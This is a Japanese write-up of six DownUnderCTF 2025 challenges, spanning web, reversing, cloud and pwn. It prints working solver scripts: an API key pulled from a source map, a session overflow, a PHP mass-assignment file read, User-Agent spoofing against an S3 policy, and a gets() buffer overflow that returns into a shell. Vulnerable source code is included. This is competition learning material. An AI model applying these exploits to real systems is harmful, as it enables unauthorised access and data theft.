DownUnderCTF

7/18 18:30 JST - 7/20 18:30 JSTという期間で開催された。

BunkyoWesternsで参加して一位☝

certificate

徹夜で作業予定があったり、そのままゴルフとライブに行ったりと予定が詰まっていたのでちょっとしかできていないが、問題数も多くて面白かった。

解いたのは以下

mini-me

ログインフォームっぽいのがあり、適当な値を入れるとAI生成感のあふれる画像と若干不安になる音楽が流れる。

app.pyではこんな感じでFlagを取れるが、X-API-Keyは素直には見つからない。

よく見るとmain.min.jsの末尾に//test map file -> test-main.min.js.map, remove in prodと書いてあるので取ってくると、難読化されたKeyが見えるのでAIに投げる。

#!/usr/bin/env python3
# solve.py: CTF solver for Web Mini Me
# Fetches source map to extract obfuscated API key, then retrieves FLAG.
# Dependencies: Python3 stdlib only
import sys
import re
import json
import urllib.request
import urllib.error

# Target URLs
BASE_URL = 'https://web-mini-me-ab6d19a7ea6e.2025-us.ductf.net'
MP3_PATH = '/static/ballerina-cappucina/ballerina-cappucina.mp3'
FLAG_PATH = '/admin/flag'

def extract_api_key() -> str:
    """
    Fetch minified source map and decode obfuscated API key.
    """
    map_url = BASE_URL + '/static/js/test-main.min.js.map'
    try:
        with urllib.request.urlopen(map_url) as resp:
            if resp.status != 200:
                print(f'Failed to fetch source map: {resp.status}', file=sys.stderr)
                sys.exit(1)
            text = resp.read().decode()
    except urllib.error.HTTPError as e:
        print(f'Failed to fetch source map: {e.code}', file=sys.stderr)
        sys.exit(1)
    try:
        data = json.loads(text)
        src = data.get('sourcesContent', [])[0]
    except Exception as e:
        print('Invalid source map JSON', file=sys.stderr)
        sys.exit(1)
    # Find obfuscated numeric arrays: e.g. xtqzp = ["85"]
    nums = re.findall(r'=\s*\["(\d+)"\]', src)
    if not nums:
        print('No numeric arrays found in source map', file=sys.stderr)
        sys.exit(1)
    # Decode: char = int(num) ^ (index+1)
    chars = []
    for i, n in enumerate(nums):
        val = int(n) ^ (i + 1)
        chars.append(chr(val))
    return ''.join(chars)

def get_flag(api_key: str) -> str:
    """
    Request the FLAG endpoint with the recovered API key.
    Uses urllib.
    """
    url = BASE_URL + FLAG_PATH
    req = urllib.request.Request(url, method='POST', headers={'X-API-Key': api_key})
    try:
        with urllib.request.urlopen(req) as resp:
            data = resp.read().decode().strip()
            return data
    except urllib.error.HTTPError as e:
        print(f'Error fetching flag: {e.code}\n{e.read().decode()}', file=sys.stderr)
        sys.exit(1)

def main():
    print('[*] Extracting API key from source map...')
    api_key = extract_api_key()
    print(f'[+] Recovered API key: {api_key}')
    print('[*] Retrieving FLAG...')
    flag = get_flag(api_key)
    print(f'[+] FLAG: {flag}')

if __name__ == '__main__':
    main()
[*] Extracting API key from source map...
[+] Recovered API key: TUNG-TUNG-TUNG-TUNG-SAHUR
[*] Retrieving FLAG...
[+] FLAG: DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}

gomail

セッションの実装が雑なので適当にOverflowさせるとadminが取れる。ソルバはAIに書かせる

#!/usr/bin/env python3
"""
Solver script for gomail CTF challenge.
Starts the server locally, logs in with backdoor credentials, and retrieves the flag.
"""
import requests
import sys

# Base URL of the gomail service
BASE_URL = "https://web-gomail-3f344244ceb2.2025-us.ductf.net/"


def main():
    # Endpoint URL
    url = BASE_URL
    # Craft an oversized email to exploit session deserialization integer overflow
    # Total length = 65536 + len("mc-fat@monke.zip") = 65552 bytes
    prefix = "mc-fat@monke.zip"
    total_len = 65536 + len(prefix)
    # After prefix, first 8 bytes -> 'f' * 8 (to set expiry high), next byte -> 't' (isAdmin)
    # rest filled with 'b'
    padding_len = total_len - len(prefix)
    if padding_len < 9:
        raise ValueError("Padding length too small")
    padding = "f" * 8 + "t" + "b" * (padding_len - 9)
    exploit_email = prefix + padding
    # Use any non-empty password (not in userLogins) to bypass login and keep our email
    login = requests.post(f"{url}/login", json={
        "email": exploit_email,
        "password": "A"
    })
    login.raise_for_status()
    token = login.json().get("token")
    if not token:
        print("Failed to get token")
        return
    # Fetch emails (admin)
    resp = requests.get(f"{url}/emails", headers={
        "X-Auth-Token": token
    })
    resp.raise_for_status()
    data = resp.json()
    emails = data.get("emails", [])
    # Print flag from email data
    for mail in emails:
        # JSON field is lowercase 'data'
        content = mail.get("data", mail.get("Data", ""))
        if "Flag:" in content:
            print(content)
            return
    print("Flag not found in emails")
    # end of main

if __name__ == "__main__":
    main()
Hey MC Fat Monke,

We heard once again you accidentally leaked your flag for your last challenge...

Bruh stop doing that...

Here is your new flag for your challenge, please stop leaking it...

Flag: DUCTF{g0v3rFloW_2_mY_eM41L5!}

From DUCTF Admin

zeus

rev。あんまり覚えてないけど多分二個目のstrcmpにBreakpoint貼るだけで良かった気がする。

[0x00001070]> pdf @main
            ; DATA XREF from entry0 @ 0x1084(r)
┌ 378: int main (uint32_t argc, char **argv);
│           ; arg uint32_t argc @ rdi
│           ; arg char **argv @ rsi
│           ; var char *s2 @ rbp-0x8
│           ; var char *var_10h @ rbp-0x10
│           ; var int64_t var_21h @ rbp-0x21
│           ; var int64_t var_28h @ rbp-0x28
│           ; var int64_t var_30h @ rbp-0x30
│           ; var int64_t var_38h @ rbp-0x38
│           ; var int64_t var_40h @ rbp-0x40
│           ; var int64_t var_48h @ rbp-0x48
│           ; var int64_t var_50h @ rbp-0x50
│           ; var int64_t var_61h @ rbp-0x61
│           ; var int64_t var_68h @ rbp-0x68
│           ; var int64_t var_70h @ rbp-0x70
│           ; var int64_t var_78h @ rbp-0x78
│           ; var int64_t var_80h @ rbp-0x80
│           ; var int64_t var_88h @ rbp-0x88
│           ; var int64_t var_90h @ rbp-0x90
│           ; var uint32_t var_94h @ rbp-0x94
│           ; var char **s1 @ rbp-0xa0
│           0x000011c8      55             push rbp
│           0x000011c9      4889e5         mov rbp, rsp
│           0x000011cc      4881eca00000.  sub rsp, 0xa0
│           0x000011d3      89bd6cffffff   mov dword [var_94h], edi    ; argc
│           0x000011d9      4889b560ffff.  mov qword [s1], rsi         ; argv
│           0x000011e0      488d05210e00.  lea rax, str.To_Zeus_Maimaktes__Zeus_who_comes_when_the_north_wind_blows__we_offer_our_praise__we_make_you_welcome_ ; 0x2008 ; "To Zeus Maimaktes, Zeus who comes when the north wind blows, we offer our praise, we make you welcome!"
│           0x000011e7      488945f8       mov qword [s2], rax
│           0x000011eb      488d057d0e00.  lea rax, str.Maimaktes1337  ; 0x206f ; "Maimaktes1337"
│           0x000011f2      488945f0       mov qword [var_10h], rax
│           0x000011f6      48b809342a39.  movabs rax, 0xc1f1027392a3409
│           0x00001200      48ba1d566c5c.  movabs rdx, 0x11512515c6c561d
│           0x0000120a      488945b0       mov qword [var_50h], rax
│           0x0000120e      488955b8       mov qword [var_48h], rdx
│           0x00001212      48b8083e0418.  movabs rax, 0x5a411e1c18043e08
│           0x0000121c      48ba52591206.  movabs rdx, 0x3412090606125952
│           0x00001226      488945c0       mov qword [var_40h], rax
│           0x0000122a      488955c8       mov qword [var_38h], rdx
│           0x0000122e      48b8150b176e.  movabs rax, 0x12535c546e170b15 ; '\x15\v\x17nT\\S\x12'
│           0x00001238      48ba0e0f3215.  movabs rdx, 0x3a110315320f0e
│           0x00001242      488945d0       mov qword [var_30h], rax
│           0x00001246      488955d8       mov qword [var_28h], rdx
│           0x0000124a      c745df005a4a.  mov dword [var_21h], 0x4e4a5a00
│           0x00001251      83bd6cffffff.  cmp dword [var_94h], 3
│       ┌─< 0x00001258      0f85ce000000   jne 0x132c
│       │   0x0000125e      488b8560ffff.  mov rax, qword [s1]
│       │   0x00001265      4883c008       add rax, 8
│       │   0x00001269      488b00         mov rax, qword [rax]
│       │   0x0000126c      488d150a0e00.  lea rdx, str._invocation    ; 0x207d ; "-invocation"
│       │   0x00001273      4889d6         mov rsi, rdx                ; const char *s2
│       │   0x00001276      4889c7         mov rdi, rax                ; const char *s1
│       │   0x00001279      e8d2fdffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
│       │   0x0000127e      85c0           test eax, eax
│      ┌──< 0x00001280      0f85a6000000   jne 0x132c
│      ││   0x00001286      488b8560ffff.  mov rax, qword [s1]
│      ││   0x0000128d      4883c010       add rax, 0x10
│      ││   0x00001291      488b00         mov rax, qword [rax]
│      ││   0x00001294      488b55f8       mov rdx, qword [s2]
│      ││   0x00001298      4889d6         mov rsi, rdx                ; const char *s2
│      ││   0x0000129b      4889c7         mov rdi, rax                ; const char *s1
│      ││   0x0000129e      e8adfdffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
│      ││   0x000012a3      85c0           test eax, eax
│     ┌───< 0x000012a5      0f8581000000   jne 0x132c
│     │││   0x000012ab      488d05de0d00.  lea rax, str.Zeus_responds_to_your_invocation_ ; 0x2090 ; "Zeus responds to your invocation!"
│     │││   0x000012b2      4889c7         mov rdi, rax                ; const char *s
│     │││   0x000012b5      e876fdffff     call sym.imp.puts           ; int puts(const char *s)
│     │││   0x000012ba      488b45b0       mov rax, qword [var_50h]
│     │││   0x000012be      488b55b8       mov rdx, qword [var_48h]
│     │││   0x000012c2      48898570ffff.  mov qword [var_90h], rax
│     │││   0x000012c9      48899578ffff.  mov qword [var_88h], rdx
│     │││   0x000012d0      488b45c0       mov rax, qword [var_40h]
│     │││   0x000012d4      488b55c8       mov rdx, qword [var_38h]
│     │││   0x000012d8      48894580       mov qword [var_80h], rax
│     │││   0x000012dc      48895588       mov qword [var_78h], rdx
│     │││   0x000012e0      488b45d0       mov rax, qword [var_30h]
│     │││   0x000012e4      488b55d8       mov rdx, qword [var_28h]
│     │││   0x000012e8      48894590       mov qword [var_70h], rax
│     │││   0x000012ec      48895598       mov qword [var_68h], rdx
│     │││   0x000012f0      8b45df         mov eax, dword [var_21h]
│     │││   0x000012f3      89459f         mov dword [var_61h], eax
│     │││   0x000012f6      488b55f0       mov rdx, qword [var_10h]
│     │││   0x000012fa      488d8570ffff.  lea rax, [var_90h]
│     │││   0x00001301      4889d6         mov rsi, rdx                ; int64_t arg2
│     │││   0x00001304      4889c7         mov rdi, rax                ; int64_t arg1
│     │││   0x00001307      e84dfeffff     call sym.xor
│     │││   0x0000130c      488d8570ffff.  lea rax, [var_90h]
│     │││   0x00001313      4889c6         mov rsi, rax
│     │││   0x00001316      488d05950d00.  lea rax, str.His_reply:__s_n ; 0x20b2 ; "His reply: %s\n"
│     │││   0x0000131d      4889c7         mov rdi, rax                ; const char *format
│     │││   0x00001320      b800000000     mov eax, 0
│     │││   0x00001325      e816fdffff     call sym.imp.printf         ; int printf(const char *format)
│    ┌────< 0x0000132a      eb0f           jmp 0x133b
│    ││││   ; CODE XREFS from main @ 0x1258(x), 0x1280(x), 0x12a5(x)
│    │└└└─> 0x0000132c      488d05950d00.  lea rax, str.The_northern_winds_are_silent... ; 0x20c8 ; "The northern winds are silent..."
│    │      0x00001333      4889c7         mov rdi, rax                ; const char *s
│    │      0x00001336      e8f5fcffff     call sym.imp.puts           ; int puts(const char *s)
│    │      ; CODE XREF from main @ 0x132a(x)
│    └────> 0x0000133b      b800000000     mov eax, 0
│           0x00001340      c9             leave
└           0x00001341      c3             ret

DUCTF{king_of_the_olympian_gods_and_god_of_the_sky}

kick the bucket

S3のpresigned urlとresource_policyが渡される。presigned urlはそのままじゃ見れない。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:GetObject",
      "Resource": [
        "arn:aws:s3:::kickme-95f596ff5b61453187fbc1c9faa3052e/flag.txt",
        "arn:aws:s3:::kickme-95f596ff5b61453187fbc1c9faa3052e"
      ],
      "Principal": {
        "AWS": "arn:aws:iam::487266254163:user/pipeline"
      },
      "Condition": {
        "StringLike": {
          "aws:UserAgent": "aws-sdk-go*"
        }
      }
    }
  ]
}

ということなので、curlで-H 'UserAgent: aws-sdk-go'つけるだけ。

DUCTF{youtube.com/watch?v=A20QQSZsv4E}

philtered

PHP製。名前的にFilterかと思ったがそうでもなかった。Mass Assignment的な感じ。

class Config {
    public $path = 'information.txt';
    public $data_folder = 'data/';
}

class FileLoader {
    public $config;
    // idk if we would need to load files from other directories or nested directories, but better to keep it flexible if I change my mind later
    public $allow_unsafe = false;
    // These terms will be philtered out to prevent unsafe file access
    public $blacklist = ['php', 'filter', 'flag', '..', 'etc', '/', '\\'];
    
    public function __construct() {
        $this->config = new Config();
    }
    
    public function contains_blacklisted_term($value) {
        if (!$this->allow_unsafe) {
            foreach ($this->blacklist as $term) {
                if (stripos($value, $term) !== false) {
                    return true;    
                }
            }
        }
        return false;
    }

    public function assign_props($input) {
        foreach ($input as $key => $value) {
            if (is_array($value) && isset($this->$key)) {
                foreach ($value as $subKey => $subValue) {
                    if (property_exists($this->$key, $subKey)) {
                        if ($this->contains_blacklisted_term($subValue)) {
                            $subValue = 'philtered.txt'; // Default to a safe file if blacklisted term is found
                        }
                        $this->$key->$subKey = $subValue;
                    }
                }
            } else if (property_exists($this, $key)) {
                if ($this->contains_blacklisted_term($value)) {
                    $value = 'philtered.txt'; // Default to a safe file if blacklisted term is found
                }
                $this->$key = $value;
            }
        }
    }

    public function load() {
        return file_get_contents($this->config->data_folder . $this->config->path);
    }
}
#!/usr/bin/env python3
import sys
import re

try:
    import requests
except ImportError:
    sys.exit("Missing dependency: requests. Install with `pip install requests`.")

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <base_url>")
        sys.exit(1)
    base_url = sys.argv[1].rstrip('/')
    target = f"{base_url}"
    params = {
        'allow_unsafe': '1',
        'config[data_folder]': '',
        'config[path]': 'flag.php'
    }
    try:
        resp = requests.get(target, params=params, timeout=10)
    except requests.RequestException as e:
        sys.exit(f"Request failed: {e}")
    if resp.status_code != 200:
        sys.exit(f"Unexpected status code: {resp.status_code}")
    # Search for the flag in the response
    match = re.search(r"DUCTF\{.*?\}", resp.text)
    if match:
        print(match.group(0))
    else:
        sys.exit("Flag not found in response.")

if __name__ == '__main__':
    main()

DUCTF{h0w_d0_y0u_l1k3_y0ur_ph1lters?}

corporate-cliche

Pwn

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void open_admin_session() {
    printf("-> Admin login successful. Opening shell...\n");
    system("/bin/sh");
    exit(0);
}

void print_email() {
    printf(" ______________________________________________________________________\n");
    printf("| To:      all-staff@downunderctf.com                                  |\n");
    printf("| From:    synergy-master@downunderctf.com                             |\n");
    printf("| Subject: Action Item: Leveraging Synergies                           |\n");
    printf("|______________________________________________________________________|\n");
    printf("|                                                                      |\n");
    printf("| Per my last communication, I'm just circling back to action the      |\n");
    printf("| sending of this email to leverage our synergies. Let's touch base    |\n");
    printf("| offline to drill down on the key takeaways and ensure we are all     |\n");
    printf("| aligned on this new paradigm. Moving forward, we need to think       |\n");
    printf("| outside the box to optimize our workflow and get the ball rolling.   |\n");
    printf("|                                                                      |\n");
    printf("| Best,                                                                |\n");
    printf("| A. Manager                                                           |\n");
    printf("|______________________________________________________________________|\n");
    exit(0);
}

const char* logins[][2] = {
    {"admin", "🇦🇩🇲🇮🇳"},
    {"guest", "guest"},
};

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char password[32];
    char username[32];

    printf("┌──────────────────────────────────────┐\n");
    printf("│      Secure Email System v1.337      │\n");
    printf("└──────────────────────────────────────┘\n\n");

    printf("Enter your username: ");
    fgets(username, sizeof(username), stdin);
    username[strcspn(username, "\n")] = 0;

    if (strcmp(username, "admin") == 0) {
        printf("-> Admin login is disabled. Access denied.\n");
        exit(0);
    }

    printf("Enter your password: ");
    gets(password);

    for (int i = 0; i < sizeof(logins) / sizeof(logins[0]); i++) {
        if (strcmp(username, logins[i][0]) == 0) {
            if (strcmp(password, logins[i][1]) == 0) {
                printf("-> Password correct. Access granted.\n");
                if (strcmp(username, "admin") == 0) {
                    open_admin_session();
                } else {
                    print_email();
                }
            } else {
                printf("-> Incorrect password for user '%s'. Access denied.\n", username);
                exit(1);
            }
        }
    }
    printf("-> Login failed. User '%s' not recognized.\n", username);
    exit(1);
}

自明。ASCIIじゃないパスワードを入れるのがちょっと面倒だったくらい。

#!/usr/bin/env python3
from pwn import *
binfile = './email_server'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('chal.2025.ductf.net', 30000)
admin_password = [0xf0, 0x9f, 0x87, 0xa6, 0xf0, 0x9f, 0x87, 0xa9, 0xf0, 0x9f, 0x87,
                  0xb2, 0xf0, 0x9f, 0x87, 0xae, 0xf0, 0x9f, 0x87, 0xb3, 0x00]

payload = bytes(admin_password)
payload += b'a' * (0x20 - len(payload))
payload += b'admin\x00'
payload += b'a' * (0x58 - len(payload))
payload += pack(e.sym['open_admin_session'])

io.sendlineafter(b'username: ', b'guest')
io.sendlineafter(b'password: ', payload)

io.sendline(b'echo hello')
io.sendlineafter(b'hello\n', b'cat flag.txt')
print(io.readline().decode(),end='')

DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}